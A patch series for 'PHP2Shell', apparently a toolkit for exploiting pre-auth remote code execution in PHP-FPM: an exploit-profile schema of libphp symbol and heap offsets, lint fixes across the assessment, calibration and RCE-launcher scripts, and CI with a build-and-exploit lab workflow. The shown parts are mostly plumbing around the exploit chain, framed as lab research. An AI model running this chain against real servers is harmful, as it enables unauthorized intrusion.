880} + } } diff --git a/profiles/fpm-schema.json b/profiles/fpm-schema.json new file mode 100644 index 0000000..d502568 --- /dev/null +++ b/profiles/fpm-schema.json @@ -0,0 +1,193 @@ +{ + "$schema": "https://json-schema.org/draft/2020-12/schema", + "$id": "https://github.com/devploit/php2shell/blob/main/profiles/fpm-schema.json", + "title": "PHP2Shell nginx + PHP-FPM profile", + "type": "object", + "required": [ + "name", + "php_version", + "branch", + "fixed_in", + "sapi", + "verified", + "rce", + "distro", + "arch", + "libphp", + "fpm", + "stages", + "config", + "status", + "oom_mb" + ], + "properties": { + "name": {"type": "string"}, + "php_version": {"type": "string"}, + "branch": {"type": "string"}, + "fixed_in": {"type": "string"}, + "sapi": {"const": "fpm"}, + "verified": {"type": "boolean"}, + "rce": {"type": "boolean"}, + "distro": {"type": "string"}, + "arch": {"type": "string"}, + "libphp": { + "type": "object", + "required": ["zif_system", "zval_ptr_dtor"], + "properties": { + "zif_system": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "zval_ptr_dtor": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "htdata": {"type": ["string", "null"]} + }, + "additionalProperties": false + }, + "fpm": { + "type": "object", + "required": [ + "basic_globals", + "bg_unserialize_data_off", + "bg_unserialize_level_off", + "struct_size", + "reclaim_pads", + "reclaim_size", + "oracle", + "no_oracle", + "leak" + ], + "properties": { + "basic_globals": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "bg_unserialize_data_off": {"type": "integer", "minimum": 0}, + "bg_unserialize_level_off": {"type": "integer", "minimum": 0}, + "struct_size": {"type": "integer", "minimum": 1}, + "reclaim_pads": { + "type": "array", + "items": {"type": "integer", "minimum": 1} + }, + "reclaim_size": {"type": "integer", "minimum": 1}, + "oracle": {"type": "string"}, + "no_oracle": { + "type": "object", + "required": ["reclaim_size", "candidates", "bases"], + "properties": { + "reclaim_pads": { + "type": "array", + "items": {"type": "integer", "minimum": 1} + }, + "reclaim_size": {"type": "integer", "minimum": 1}, + "candidates": { + "type": "array", + "minItems": 1, + "items": { + "type": "object", + "required": ["d_off", "k"], + "properties": { + "d_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "k": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"} + }, + "additionalProperties": false + } + }, + "bases": {"type": "string"} + }, + "additionalProperties": false + }, + "leak": { + "type": "object", + "required": [ + "arm_path", + "pads", + "size", + "header_content_off", + "read_len", + "chunk_ptr_off", + "chunk_base_off", + "pie_ptr_off", + "pie_base_off" + ], + "properties": { + "arm_path": {"type": "string"}, + "pads": { + "type": "array", + "items": {"type": "integer", "minimum": 1} + }, + "size": {"type": "integer", "minimum": 1}, + "header_content_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "read_len": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "chunk_ptr_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "chunk_base_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "pie_ptr_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "pie_base_off": {"type": "string", "pattern": "^0x[0-9a-fA-F]+$"}, + "bases": {"type": "string"} + }, + "additionalProperties": false + } + }, + "additionalProperties": false + }, + "stages": {"type": "object"}, + "config": { + "type": "object", + "required": ["memory_limit", "display_errors", "session_upload_progress", "workers"], + "properties": { + "memory_limit": {"type": "integer", "minimum": 1}, + "display_errors": {"type": "string"}, + "session_upload_progress": {"type": "string"}, + "workers": {"type": "integer", "minimum": 1} + }, + "additionalProperties": false + }, + "status": {"type": "string"}, + "oom_mb": {"type": "integer", "minimum": 1}, + "layout": { + "type": "object", + "description": "struct layouts of the build, derived from its headers", + "required": ["unserialize_data", "var_entries", "zval", "zend_array"], + "properties": { + "unserialize_data": { + "type": "object", + "description": "php_unserialize_data; PHP <= 7.3 keeps a 'legacy' five-pointer shape with no embedded entries block", + "required": ["last", "size"], + "properties": { + "first": {"type": "integer", "minimum": 0}, + "last": {"type": "integer", "minimum": 0}, + "first_dtor": {"type": "integer", "minimum": 0}, + "last_dtor": {"type": "integer", "minimum": 0}, + "allowed_classes": {"type": "integer", "minimum": 0}, + "ref_props": {"type": "integer", "minimum": 0}, + "cur_depth": {"type": "integer", "minimum": 0}, + "max_depth": {"type": "integer", "minimum": 0}, + "entries": {"type": "integer", "minimum": 0}, + "size": {"type": "integer", "minimum": 1}, + "legacy": {"type": "boolean"} + }, + "additionalProperties": false + }, + "var_entries": { + "type": "object", + "properties": { + "used_slots": {"type": "integer", "minimum": 0}, + "next": {"type": "integer", "minimum": 0}, + "data": {"type": "integer", "minimum": 0}, + "max": {"type": "integer", "minimum": 1} + }, + "additionalProperties": false + }, + "bg": { + "type": "object", + "properties": { + "unserialize_data": {"type": "integer", "minimum": 0}, + "unserialize_level": {"type": "integer", "minimum": 0} + }, + "additionalProperties": false + }, + "zval": {"type": "object"}, + "zend_array": {"type": "object"}, + "zend_reference": {"type": "object"}, + "zend_string": {"type": "object"}, + "zend_execute_data": {"type": "object"}, + "bucket": {"type": "object"} + }, + "additionalProperties": false + } + }, + "additionalProperties": false +} diff --git a/profiles/schema.json b/profiles/schema.json index 89a3c6e..279ea2d 100644 --- a/profiles/schema.json +++ b/profiles/schema.json @@ -374,6 +374,10 @@ "minimum": 1 }, "description": "memory_limit values (in MiB) where RCE was verified." + }, + "layout": { + "type": "object", + "description": "Compiled struct-layout offsets for this PHP-FPM build. The strict per-field shape is validated by profiles/fpm-schema.json; this generic schema only asserts it is an object." } }, "allOf": [ diff --git a/tests/test_core.py b/tests/test_core.py index 30d1f96..49c661d 100644 --- a/tests/test_core.py +++ b/tests/test_core.py @@ -20,9 +20,9 @@ sys.path.insert(0, str(ROOT / "tools")) import php2shell_auto as auto # noqa: E402 -import php2shell_ui as ui # noqa: E402 -import php2shell_paths as paths # noqa: E402 import php2shell_calibrate as cal # noqa: E402 +import php2shell_paths as paths # noqa: E402 +import php2shell_ui as ui # noqa: E402 class ClassificationTests(unittest.TestCase): @@ -147,7 +147,7 @@ class InventoryTests(unittest.TestCase): def test_profiles_are_valid(self): names = set() for path in sorted((ROOT / "profiles").glob("*.json")): - if path.name == "schema.json": + if path.name in ("schema.json", "fpm-schema.json"): continue data = json.loads(path.read_text()) self.assertIn("name", data, path) From 04eea6b656acb534c3d9b0b4410a0159700fe58b Mon Sep 17 00:00:00 2001 From: VABISMO Date: Sat, 24 Oct 2026 11:00:54 +0200 Subject: [PATCH 7/9] Bring the existing tools in line with the ruff lint gate The pre-existing research tools were written before ruff was adopted and never linted (the old `lint` target only ran gitleaks). Now that ruff enforces E/F/W/I/UP/B/SIM, fix the findings so `make lint` and CI pass repo-wide: - wrap one-shot open(...).read() calls in context managers (SIM115); - drop the redundant UTF-8 coding declarations and open() mode args; - use builtin generics and f-strings instead of typing/percent formats; - sort the imports. Behavior is unchanged; the unit suite still passes. --- tools/php2shell_assess.py | 33 +++++++++----------- tools/php2shell_auto.py | 60 +++++++++++++----------------------- tools/php2shell_calibrate.py | 11 ++++--- tools/php2shell_inventory.py | 3 +- tools/php2shell_labs.py | 14 ++++----- tools/php2shell_matrix.py | 7 +++-- tools/php2shell_offsets.py | 9 +++--- tools/php2shell_paths.py | 5 ++- tools/php2shell_rce.py | 6 ++-- tools/php2shell_ui.py | 1 - tools/php2shell_upstream.py | 2 +- 11 files changed, 66 insertions(+), 85 deletions(-) diff --git a/tools/php2shell_assess.py b/tools/php2shell_assess.py index 3684d36..ba37a13 100755 --- a/tools/php2shell_assess.py +++ b/tools/php2shell_assess.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_exploit.py — PHP2Shell (CVE-2026-109618 / CVE-2026-109619) assessment and exploitation harness derived from docs/php2shell-analysis.md. @@ -37,6 +36,7 @@ from __future__ import annotations import argparse +import contextlib import ipaddress import json import random @@ -49,7 +49,6 @@ import time import urllib.parse from dataclasses import dataclass, field -from typing import Dict, List, Optional, Tuple # --------------------------------------------------------------------------- # Fixed-release matrix (docs/php2shell-analysis.md, section 2) @@ -105,7 +104,7 @@ def __init__(self, url: str): self.base_path = p.path if p.path not in ("", "/") else "/" self.host_header = self.host if self.port in (80, 443) else f"{self.host}:{self.port}" - def connect(self, timeout: float = 10.0) -> "HTTPConn": + def connect(self, timeout: float = 10.0) -> HTTPConn: return HTTPConn(self, timeout) @@ -126,14 +125,14 @@ def send(self, data: bytes) -> None: def _fill(self) -> bool: try: chunk = self.sock.recv(65536) - except (socket.timeout, ConnectionResetError, OSError): + except (TimeoutError, ConnectionResetError, OSError): return False if not chunk: return False self.buf += chunk return True - def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], bytes, List[str]]: + def read_response(self, timeout: float = 8.0) -> tuple[int, dict[str, str], bytes, list[str]]: self.sock.settimeout(timeout) while b"\r\n\r\n" not in self.buf: if not self._fill(): @@ -149,8 +148,8 @@ def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], byte except (IndexError, ValueError): status = 0 - headers: Dict[str, str] = {} - set_cookies: List[str] = [] + headers: dict[str, str] = {} + set_cookies: list[str] = [] for line in lines[1:]: if b":" not in line: continue @@ -201,14 +200,12 @@ def read_response(self, timeout: float = 8.0) -> Tuple[int, Dict[str, str], byte return status, headers, body, set_cookies def close(self) -> None: - try: + with contextlib.suppress(OSError): self.sock.close() - except OSError: - pass -def http_get(target: Target, path: str, extra: Optional[Dict[str, str]] = None, - timeout: float = 8.0) -> Tuple[int, Dict[str, str], bytes, List[str]]: +def http_get(target: Target, path: str, extra: dict[str, str] | None = None, + timeout: float = 8.0) -> tuple[int, dict[str, str], bytes, list[str]]: conn = target.connect(timeout) headers = { "Host": target.host_header, @@ -229,7 +226,7 @@ def http_get(target: Target, path: str, extra: Optional[Dict[str, str]] = None, # --------------------------------------------------------------------------- # Version classification # --------------------------------------------------------------------------- -def classify_version(version: str) -> Tuple[str, bool, str]: +def classify_version(version: str) -> tuple[str, bool, str]: m = re.search(r"(\d+)\.(\d+)\.(\d+)", version or "") if not m: return "UNKNOWN", False, "Could not extract a PHP version from the response headers." @@ -280,9 +277,9 @@ class Report: oom_reached: bool = False oom_status: int = 0 worker_alive: bool = False - disclosure: Optional[bytes] = None - pointers: List[int] = field(default_factory=list) - notes: List[str] = field(default_factory=list) + disclosure: bytes | None = None + pointers: list[int] = field(default_factory=list) + notes: list[str] = field(default_factory=list) rce_confirmed: bool = False rce_output: str = "" @@ -463,7 +460,7 @@ def check_worker_survival(cfg: Config, rep: Report) -> None: # --------------------------------------------------------------------------- def probe_disclosure(cfg: Config, rep: Report) -> None: stage("5/5", "Memory disclosure via Set-Cookie (stale PS(id))") - results: Dict[int, bytes] = {} + results: dict[int, bytes] = {} lock = threading.Lock() def worker(i: int) -> None: @@ -491,7 +488,7 @@ def worker(i: int) -> None: for t in threads: t.join() - suspicious: List[Tuple[int, bytes]] = [] + suspicious: list[tuple[int, bytes]] = [] for i, raw in sorted(results.items()): if not raw: continue diff --git a/tools/php2shell_auto.py b/tools/php2shell_auto.py index c96440d..896ed7d 100755 --- a/tools/php2shell_auto.py +++ b/tools/php2shell_auto.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_auto.py — version-aware dispatcher for the PHP2Shell RCE chain. @@ -25,23 +24,23 @@ """ from __future__ import annotations -from php2shell_paths import default_repo_dir -from php2shell_upstream import patch_params, patch_tls import argparse +import contextlib import glob +import ipaddress import json import os -import ipaddress import re import socket import ssl import subprocess -import time import sys import urllib.parse +from php2shell_paths import default_repo_dir from php2shell_ui import UI +from php2shell_upstream import patch_params, patch_tls FIXED = {"8.2": 35, "8.3": 36, "8.4": 27, "8.5": 12} HERE = os.path.dirname(os.path.abspath(__file__)) @@ -236,7 +235,7 @@ def load_profiles(directory: str): profiles = [] for path in sorted(glob.glob(os.path.join(directory, "*.json"))): try: - with open(path, "r", encoding="utf-8") as fh: + with open(path, encoding="utf-8") as fh: data = json.load(fh) if not isinstance(data, dict) or "php_version" not in data: continue @@ -302,13 +301,12 @@ def interactive_loop(args, profile, outdir, ui: UI) -> int: continue stage_script(outdir, line) output = os.path.join(outdir, "o") - try: + with contextlib.suppress(OSError): os.unlink(output) - except OSError: - pass rc = run_upstream(args, profile, output, huge, ui, stream=False) if os.path.isfile(output): - print(open(output, "r", encoding="utf-8", errors="replace").read().rstrip()) + with open(output, encoding="utf-8", errors="replace") as handle: + print(handle.read().rstrip()) else: ui.warn(f"no output (chain exit {rc})") return 0 @@ -386,10 +384,8 @@ def __init__(self, url: str, count: int): f"User-Agent: php2shell-pin/1.0\r\nConnection: keep-alive\r\n\r\n").encode() s.sendall(req) s.settimeout(3) - try: + with contextlib.suppress(OSError): s.recv(65536) - except OSError: - pass self.socks.append(s) @classmethod @@ -422,32 +418,24 @@ def auto_remote(cls, url: str, max_pins: int = 32): s.sendall(req) s.settimeout(2) data = s.recv(65536) - except socket.timeout: + except TimeoutError: if s is not None: - try: + with contextlib.suppress(OSError): s.close() - except OSError: - pass break except OSError: if s is not None: - try: + with contextlib.suppress(OSError): s.close() - except OSError: - pass break if not data: - try: + with contextlib.suppress(OSError): s.close() - except OSError: - pass break head = data.split(b"\r\n\r\n", 1)[0].lower() if b"connection: close" in head: - try: + with contextlib.suppress(OSError): s.close() - except OSError: - pass for p in pins: p.close() return None @@ -461,10 +449,8 @@ def auto_remote(cls, url: str, max_pins: int = 32): def close(self) -> None: for s in self.socks: - try: + with contextlib.suppress(OSError): s.close() - except OSError: - pass def probe_memory_limit(args, ui: UI) -> int | None: @@ -636,7 +622,7 @@ def main() -> int: profiles = load_profiles(args.profiles) catalog = {} try: - with open(args.catalog, "r", encoding="utf-8") as fh: + with open(args.catalog, encoding="utf-8") as fh: catalog = json.load(fh) except (OSError, ValueError): pass @@ -805,7 +791,8 @@ def main() -> int: return 4 if args.script: try: - body = open(args.script, "r", encoding="utf-8").read() + with open(args.script, encoding="utf-8") as handle: + body = handle.read() except OSError as exc: ui.crit(f"cannot read {args.script}: {exc}") return 4 @@ -886,10 +873,8 @@ def main() -> int: huge = args.huge_mb if args.huge_mb else oom_for(int(limit), profile) ui.stage("EXECUTE", f"memory_limit={limit}M · huge_mb={huge}") if proof and os.path.exists(proof): - try: + with contextlib.suppress(OSError): os.unlink(proof) - except OSError: - pass rc = run_upstream(args, profile, proof, huge, ui) if rc == 0: break @@ -906,10 +891,9 @@ def main() -> int: detail = "proof retrieved by --fetch" if proof and os.path.isfile(proof): - try: - detail = open(proof, "r", encoding="utf-8", errors="replace").read().strip() - except OSError: - pass + with contextlib.suppress(OSError), \ + open(proof, encoding="utf-8", errors="replace") as handle: + detail = handle.read().strip() ui.result(True, "PRE-AUTH RCE CONFIRMED", detail) return 0 diff --git a/tools/php2shell_calibrate.py b/tools/php2shell_calibrate.py index 3923503..00cfb3a 100755 --- a/tools/php2shell_calibrate.py +++ b/tools/php2shell_calibrate.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_calibrate.py — build a verified profile for one PHP/libphp build. @@ -35,8 +34,6 @@ """ from __future__ import annotations -from php2shell_paths import default_repo_dir -from php2shell_upstream import patch_params, patch_tls import argparse import importlib.util @@ -49,6 +46,9 @@ import time import urllib.parse +from php2shell_paths import default_repo_dir +from php2shell_upstream import patch_params, patch_tls + HERE = os.path.dirname(os.path.abspath(__file__)) ROOT = os.path.dirname(HERE) FIXED = {"8.2": 35, "8.3": 36, "8.4": 27, "8.5": 12} @@ -109,7 +109,7 @@ def extract_symbols(repo: str, container: str) -> dict: subprocess.run([sys.executable, script, container], check=True) env = os.path.join(repo, "out", "offsets.env") values = {} - with open(env, "r", encoding="utf-8") as fh: + with open(env, encoding="utf-8") as fh: for line in fh: if "=" in line and not line.startswith("#"): k, v = line.strip().split("=", 1) @@ -295,7 +295,8 @@ def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints): except Exception as exc: print(f" stage3 {name}: {exc}") if os.path.exists(proof) and os.path.getsize(proof) > 0: - print(f"[+] stage3 {name}: {open(proof).read().strip()}") + with open(proof) as handle: + print(f"[+] stage3 {name}: {handle.read().strip()}") return True, {"htdata": off, "pads": pads} print(f" stage3 {name}: no proof") return False, None diff --git a/tools/php2shell_inventory.py b/tools/php2shell_inventory.py index be3ace7..e849385 100644 --- a/tools/php2shell_inventory.py +++ b/tools/php2shell_inventory.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """Inventory the generated PHP2Shell profiles. Reads every JSON profile in profiles/ and prints the offsets and heap @@ -27,7 +26,7 @@ def load_profiles(directory: str): rows = [] for path in sorted(glob.glob(os.path.join(directory, "*.json"))): try: - with open(path, "r", encoding="utf-8") as fh: + with open(path, encoding="utf-8") as fh: data = json.load(fh) except (OSError, ValueError): continue diff --git a/tools/php2shell_labs.py b/tools/php2shell_labs.py index 86f8fae..7cdac0a 100755 --- a/tools/php2shell_labs.py +++ b/tools/php2shell_labs.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_labs.py — disposable local laboratories for the PHP builds in the profile/offset inventory. @@ -22,15 +21,17 @@ """ from __future__ import annotations -from php2shell_paths import default_repo_dir, prepare_lab_out import argparse +import contextlib import os import subprocess import sys import time import urllib.request +from php2shell_paths import default_repo_dir, prepare_lab_out + HERE = os.path.dirname(os.path.abspath(__file__)) ROOT = os.path.dirname(HERE) LAB = os.path.join(ROOT, "lab", "rce") @@ -112,10 +113,8 @@ def test(): results.append((version, "not running", "")) continue proof = os.path.join(OUT, version, "p1") - try: + with contextlib.suppress(OSError): os.unlink(proof) - except OSError: - pass cmd = [sys.executable, os.path.join(HERE, "php2shell_auto.py"), "-u", f"http://127.0.0.1:{port}/index.php", "-c", "id>/out/p1", "--repo-dir", REPO, @@ -125,9 +124,10 @@ def test(): output = (result.stdout + result.stderr).strip().splitlines() print("\n".join(output[-6:]), flush=True) if result.returncode == 0 and os.path.isfile(proof): - results.append((version, "RCE", open(proof).read().strip())) + with open(proof) as handle: + results.append((version, "RCE", handle.read().strip())) else: - results.append((version, "no RCE (exit %d)" % result.returncode, "")) + results.append((version, f"no RCE (exit {result.returncode})", "")) print("\n=== summary ===") for version, status_text, proof in results: print(f" {version:8} {status_text:24} {proof}") diff --git a/tools/php2shell_matrix.py b/tools/php2shell_matrix.py index cfdc83d..d95462e 100755 --- a/tools/php2shell_matrix.py +++ b/tools/php2shell_matrix.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_matrix.py — profile factory for the PHP2Shell RCE chain. @@ -18,7 +17,6 @@ """ from __future__ import annotations -from php2shell_paths import default_repo_dir, prepare_lab_out import argparse import json @@ -30,6 +28,8 @@ import time import urllib.request +from php2shell_paths import default_repo_dir, prepare_lab_out + HERE = os.path.dirname(os.path.abspath(__file__)) ROOT = os.path.dirname(HERE) LAB = os.path.join(ROOT, "lab", "rce") @@ -131,7 +131,8 @@ def run_build(build, args) -> dict: rce = False if os.path.isfile(profile): try: - data = json.load(open(profile, encoding="utf-8")) + with open(profile, encoding="utf-8") as handle: + data = json.load(handle) rce = bool(data.get("rce")) status = "rce" if rce else "leaks-only" except ValueError: diff --git a/tools/php2shell_offsets.py b/tools/php2shell_offsets.py index fc11104..a0ed849 100644 --- a/tools/php2shell_offsets.py +++ b/tools/php2shell_offsets.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_offsets.py — extract libphp symbol offsets from PHP Docker images. @@ -61,7 +60,8 @@ def docker(*args, timeout=900, text=True): def parse_elf(path: str): - data = open(path, "rb").read() + with open(path, "rb") as handle: + data = handle.read() if data[:4] != b"\x7fELF" or data[4] != 2 or data[5] != 1: raise ValueError("not a little-endian ELF64 file") e_phoff, = struct.unpack_from(" dict: if not lib: return {"image": image, "status": "libphp not found"} bias, symbols = parse_elf(lib) - sha = hashlib.sha256(open(lib, "rb").read()).hexdigest() + with open(lib, "rb") as handle: + sha = hashlib.sha256(handle.read()).hexdigest() env = image_env(image) version = env.get("PHP_VERSION", "") if not version: @@ -193,7 +194,7 @@ def write_doc(results) -> None: entries = {} for path in glob.glob(os.path.join(OUT, "*.json")): try: - with open(path, "r", encoding="utf-8") as fh: + with open(path, encoding="utf-8") as fh: item = json.load(fh) except (OSError, ValueError): continue diff --git a/tools/php2shell_paths.py b/tools/php2shell_paths.py index 80ddbfe..7d51b6e 100644 --- a/tools/php2shell_paths.py +++ b/tools/php2shell_paths.py @@ -3,6 +3,7 @@ from __future__ import annotations +import contextlib import os from pathlib import Path @@ -15,10 +16,8 @@ def prepare_lab_out(path: str | Path) -> str: """Create a lab output directory the container user can write to.""" target = Path(path) target.mkdir(parents=True, exist_ok=True) - try: + with contextlib.suppress(OSError): target.chmod(0o777) - except OSError: - pass return str(target) diff --git a/tools/php2shell_rce.py b/tools/php2shell_rce.py index 8c7739a..5fe4ed8 100755 --- a/tools/php2shell_rce.py +++ b/tools/php2shell_rce.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """ php2shell_rce.py — launcher for the verified PHP2Shell RCE chain. @@ -36,8 +35,6 @@ """ from __future__ import annotations -from php2shell_paths import default_repo_dir -from php2shell_upstream import patch_params, patch_tls import argparse import ipaddress @@ -47,6 +44,9 @@ import sys import urllib.parse +from php2shell_paths import default_repo_dir +from php2shell_upstream import patch_params, patch_tls + DEFAULT_DIR = default_repo_dir() diff --git a/tools/php2shell_ui.py b/tools/php2shell_ui.py index 13f868c..5fa1f0c 100644 --- a/tools/php2shell_ui.py +++ b/tools/php2shell_ui.py @@ -1,5 +1,4 @@ #!/usr/bin/env python3 -# -*- coding: utf-8 -*- """Terminal UI helpers for the PHP2Shell toolkit.""" from __future__ import annotations diff --git a/tools/php2shell_upstream.py b/tools/php2shell_upstream.py index 9d09b57..0f270e6 100644 --- a/tools/php2shell_upstream.py +++ b/tools/php2shell_upstream.py @@ -15,7 +15,7 @@ def _read(repo: str) -> tuple[str, str] | None: path = os.path.join(repo, "exploit.py") try: - with open(path, "r", encoding="utf-8") as fh: + with open(path, encoding="utf-8") as fh: return path, fh.read() except OSError: return None From d7e1615071831c69253986479235a3e7f231d800 Mon Sep 17 00:00:00 2001 From: VABISMO Date: Sat, 24 Oct 2026 11:01:11 +0200 Subject: [PATCH 8/9] Wire the PHP-FPM toolchain into the build and CI Makefile: add targets for building nginx/PHP (build-nginx, build-php, build-all), drafting a profile (profile-draft), remote calibration (calibrate-remote), the remote chain (remote) and the unpatched matrix (matrix). Split the rootless FPM lab targets (labs-fpm-*) from the Docker labs, add labs-fpm-smoke/ports, and split profile validation into the generic schema and the strict FPM schema. `lint` now runs ruff (matching CI) and the gitleaks scan moves to its own `secrets` target. CI: lint with ruff, compile the tools, check shell syntax, run the unit suite, and validate both the generic and FPM profile schemas, alongside the existing gitleaks secrets job. Add the manual live-lab workflow (build + exploit 8.4.x) and the tag-triggered release workflow, plus a dev requirements file (jsonschema, ruff) the CI installs. pyproject: keep the php2shell identity but modernize the build backend (setuptools>=77, build_meta, PEP 639 license-files) and add the php-fpm keyword. --- .github/workflows/ci.yml | 69 +++++++++++++++++--- .github/workflows/live-fpm.yml | 52 +++++++++++++++ .github/workflows/release.yml | 21 +++++++ Makefile | 112 ++++++++++++++++++++++++++------- pyproject.toml | 10 +-- requirements-dev.txt | 2 + 6 files changed, 231 insertions(+), 35 deletions(-) create mode 100644 .github/workflows/live-fpm.yml create mode 100644 .github/workflows/release.yml create mode 100644 requirements-dev.txt diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index e60ca0c..4d7a448 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -1,4 +1,4 @@ -name: ci +name: CI on: push: @@ -8,26 +8,81 @@ on: permissions: contents: read +concurrency: + group: ci-${{ github.ref }} + cancel-in-progress: true + jobs: - tests: + test: + name: Python ${{ matrix.python-version }} runs-on: ubuntu-latest strategy: + fail-fast: false matrix: - python-version: ["3.11", "3.12"] + python-version: ["3.11", "3.12", "3.13"] steps: - - uses: actions/checkout@v4 - - uses: actions/setup-python@v5 + - name: Check out + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 with: python-version: ${{ matrix.python-version }} + cache: pip + cache-dependency-path: requirements-dev.txt + + - name: Install test dependencies + run: python -m pip install --upgrade pip -r requirements-dev.txt + + - name: Lint + run: ruff check tools tests + + - name: Compile Python + run: python -m compileall -q tools tests + + - name: Check shell syntax + run: bash -n lab/fpm/build_php.sh lab/fpm/build_nginx.sh lab/fpm/build_all.sh + - name: Unit tests run: PYTHONDONTWRITEBYTECODE=1 python -m unittest discover -s tests -v + - name: Validate build profiles against schema + run: | + python - <<'PY' + import json + from pathlib import Path + import jsonschema + + schema = json.loads(Path("profiles/schema.json").read_text()) + for path in sorted(Path("profiles").glob("*.json")): + if path.name in ("schema.json", "fpm-schema.json"): + continue + jsonschema.validate(json.loads(path.read_text()), schema) + print(f"{path}: valid") + PY + + - name: Validate PHP-FPM profiles against the FPM schema + run: | + python - <<'PY' + import json + from pathlib import Path + import jsonschema + + schema = json.loads(Path("profiles/fpm-schema.json").read_text()) + for path in sorted(Path("profiles").glob("*-fpm.json")): + jsonschema.validate(json.loads(path.read_text()), schema) + print(f"{path}: valid") + PY + secrets: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v4 + - name: Check out + uses: actions/checkout@v4 with: fetch-depth: 0 - - uses: gitleaks/gitleaks-action@v2 + + - name: Gitleaks + uses: gitleaks/gitleaks-action@v2 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} diff --git a/.github/workflows/live-fpm.yml b/.github/workflows/live-fpm.yml new file mode 100644 index 0000000..7df481c --- /dev/null +++ b/.github/workflows/live-fpm.yml @@ -0,0 +1,52 @@ +name: Live FPM lab + +on: + workflow_dispatch: + +permissions: + contents: read + +jobs: + live: + name: Build and exploit PHP ${{ matrix.version }} + runs-on: ubuntu-latest + timeout-minutes: 90 + strategy: + fail-fast: false + matrix: + version: ["8.4.25", "8.4.26"] + steps: + - name: Check out + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: "3.12" + + - name: Install build dependencies + run: | + sudo apt-get update + sudo apt-get install -y build-essential curl tar libxml2-dev + + - name: Build nginx + run: lab/fpm/build_nginx.sh + + - name: Build PHP ${{ matrix.version }} + run: lab/fpm/build_php.sh ${{ matrix.version }} + + - name: Start lab + run: python3 tools/php2shell_fpm_labs.py up --only ${{ matrix.version }} + + - name: Enable ptrace for the oracle test + run: sudo sysctl -w kernel.yama.ptrace_scope=0 + + - name: Run live tests + env: + PHP2SHELL_FPM_LAB: "1" + PHP2SHELL_FPM_VERSION: ${{ matrix.version }} + run: python3 -m unittest tests.test_fpm.FpmLabIntegrationTests -v + + - name: Stop lab + if: always() + run: python3 tools/php2shell_fpm_labs.py down diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..f54ee8c --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,21 @@ +name: Release + +on: + push: + tags: ["v*"] + +permissions: + contents: write + +jobs: + release: + name: Publish GitHub release + runs-on: ubuntu-latest + steps: + - name: Check out + uses: actions/checkout@v4 + + - name: Create release + uses: softprops/action-gh-release@v2 + with: + generate_release_notes: true diff --git a/Makefile b/Makefile index 7b1a552..49c75d2 100644 --- a/Makefile +++ b/Makefile @@ -1,24 +1,97 @@ -.PHONY: bootstrap test labs-up labs-down labs-status labs-test labs-fpm-up labs-fpm-down labs-fpm-status labs-fpm-test lint clean +.PHONY: help test lint secrets ci bootstrap inventory validate-profiles validate-fpm \ + build-nginx build-php build-all profile-draft calibrate-remote remote matrix \ + labs-up labs-down labs-status labs-test \ + labs-fpm-up labs-fpm-down labs-fpm-status labs-fpm-smoke labs-fpm-ports labs-fpm-test \ + clean -bootstrap: ## Fetch and pin the upstream exploit - python3 tools/bootstrap_upstream.py +help: ## Show this help + @grep -E '^[a-zA-Z0-9_.-]+:.*##' $(MAKEFILE_LIST) | \ + awk 'BEGIN {FS = ":.*## "}; {printf " \033[36m%-20s\033[0m %s\n", $$1, $$2}' test: ## Run the unit test suite - python3 -m unittest discover -s tests -v + PYTHONDONTWRITEBYTECODE=1 python3 -m unittest discover -s tests -v + +lint: ## Run ruff on the Python tools and tests + ruff check tools tests -lint: ## Run gitleaks to detect leaked secrets +secrets: ## Run gitleaks to detect leaked secrets gitleaks detect --source . --no-git --redact -v -labs-up: ## Start all local laboratories (ports 8100-8106) +ci: lint test validate-profiles validate-fpm ## Run the fast CI checks locally + +bootstrap: ## Fetch and pin the upstream exploit + python3 tools/bootstrap_upstream.py + +inventory: ## Print the profile and offset inventory + python3 tools/php2shell_inventory.py + +validate-profiles: ## Validate every build profile against the generic schema + python3 -c "import json, jsonschema; \ + schema = json.load(open('profiles/schema.json')); \ + from pathlib import Path; \ + [jsonschema.validate(json.loads(p.read_text()), schema) or print(f' ok {p.name}') \ + for p in sorted(Path('profiles').glob('*.json')) \ + if p.name not in ('schema.json', 'fpm-schema.json')]" + +validate-fpm: ## Validate the PHP-FPM profiles against the FPM schema + python3 -c "import glob, json, jsonschema; \ + s = json.load(open('profiles/fpm-schema.json')); \ + [jsonschema.validate(json.load(open(p)), s) or print(f' ok {p}') \ + for p in sorted(glob.glob('profiles/*-fpm.json'))]" + +# --------------------------------------------------------------------------- # +# PHP-FPM laboratory (nginx + PHP-FPM, user prefix, no Docker) +# 